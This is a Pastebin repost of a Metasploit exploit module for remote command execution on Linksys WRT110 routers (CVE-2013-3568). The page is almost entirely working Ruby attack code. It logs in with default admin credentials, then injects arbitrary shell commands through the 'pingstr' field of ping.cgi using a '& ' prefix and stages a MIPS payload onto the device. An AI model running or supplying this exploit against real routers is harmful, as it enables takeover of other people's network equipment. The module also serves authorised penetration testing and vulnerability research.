Advertisement
raz3

Linksys WRT110 Remote command execution

Oct 15th, 2013
324
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.56 KB | None | 0 0
  1. ##
  2. # This file is part of the Metasploit Framework and may be subject to
  3. # redistribution and commercial restrictions. Please see the Metasploit
  4. # web site for more information on licensing and terms of use.
  5. # http://metasploit.com/
  6. ##
  7.  
  8. require 'msf/core'
  9.  
  10. class Metasploit3 < Msf::Exploit::Remote
  11. Rank = ExcellentRanking
  12.  
  13. include Msf::Exploit::Remote::HttpClient
  14. include Msf::Exploit::CmdStagerEcho
  15.  
  16. def initialize(info = {})
  17. super(update_info(info,
  18. 'Name' => 'Linksys WRT110 Remote Command Execution',
  19. 'Description' => %q{
  20. The Linksys WRT110 consumer router is vulnerable to a command injection
  21. exploit in the ping field of the web interface.
  22. },
  23. 'Author' =>
  24. [
  25. 'Craig Young', # Vulnerability discovery
  26. 'joev', # msf module
  27. 'juan vazquez' # module help + echo cmd stager
  28. ],
  29. 'License' => MSF_LICENSE,
  30. 'References' =>
  31. [
  32. ['CVE', '2013-3568'],
  33. ['BID', '61151'],
  34. ['URL', 'http://seclists.org/bugtraq/2013/Jul/78']
  35. ],
  36. 'DisclosureDate' => 'Jul 12 2013',
  37. 'Privileged' => true,
  38. 'Platform' => ['linux'],
  39. 'Arch' => ARCH_MIPSLE,
  40. 'Targets' =>
  41. [
  42. ['Linux mipsel Payload', { } ]
  43. ],
  44. 'DefaultTarget' => 0,
  45. ))
  46.  
  47. register_options([
  48. OptString.new('USERNAME', [ true, 'Valid router administrator username', 'admin']),
  49. OptString.new('PASSWORD', [ false, 'Password to login with', 'admin']),
  50. OptAddress.new('RHOST', [true, 'The address of the router', '192.168.1.1']),
  51. OptInt.new('TIMEOUT', [false, 'The timeout to use in every request', 20])
  52. ], self.class)
  53.  
  54. end
  55.  
  56. def check
  57. begin
  58. res = send_request_cgi({
  59. 'uri' => '/HNAP1/'
  60. })
  61. rescue ::Rex::ConnectionError
  62. return Exploit::CheckCode::Safe
  63. end
  64.  
  65. if res and res.code == 200 and res.body =~ /<ModelName>WRT110<\/ModelName>/
  66. return Exploit::CheckCode::Vulnerable
  67. end
  68.  
  69. return Exploit::CheckCode::Safe
  70. end
  71.  
  72. def exploit
  73. test_login!
  74.  
  75. execute_cmdstager
  76. end
  77.  
  78. # Sends an HTTP request with authorization header to the router
  79. # Raises an exception unless the login is successful
  80. def test_login!
  81. print_status("#{rhost}:#{rport} - Trying to login with #{user}:#{pass}")
  82.  
  83. res = send_auth_request_cgi({
  84. 'uri' => '/',
  85. 'method' => 'GET'
  86. })
  87.  
  88. if not res or res.code == 401 or res.code == 404
  89. fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Could not login with #{user}:#{pass}")
  90. else
  91. print_good("#{rhost}:#{rport} - Successful login #{user}:#{pass}")
  92. end
  93. end
  94.  
  95. # Run the command on the router
  96. def execute_command(cmd, opts)
  97. send_auth_request_cgi({
  98. 'uri' => '/ping.cgi',
  99. 'method' => 'POST',
  100. 'vars_post' => {
  101. 'pingstr' => '& ' + cmd
  102. }
  103. })
  104.  
  105. Rex.sleep(1) # Give the device a second
  106. end
  107.  
  108. # Helper methods
  109. def user; datastore['USERNAME']; end
  110. def pass; datastore['PASSWORD'] || ''; end
  111.  
  112. def send_auth_request_cgi(opts={}, timeout=nil)
  113. timeout ||= datastore['TIMEOUT']
  114. opts.merge!('authorization' => basic_auth(user, pass))
  115. begin
  116. send_request_cgi(opts, timeout)
  117. rescue ::Rex::ConnectionError
  118. fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")
  119. end
  120. end
  121. end
  122.  
  123. # FEFF829931B58D78 1337day.com [2013-10-15] 54E87349A9A2FCC7 #
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement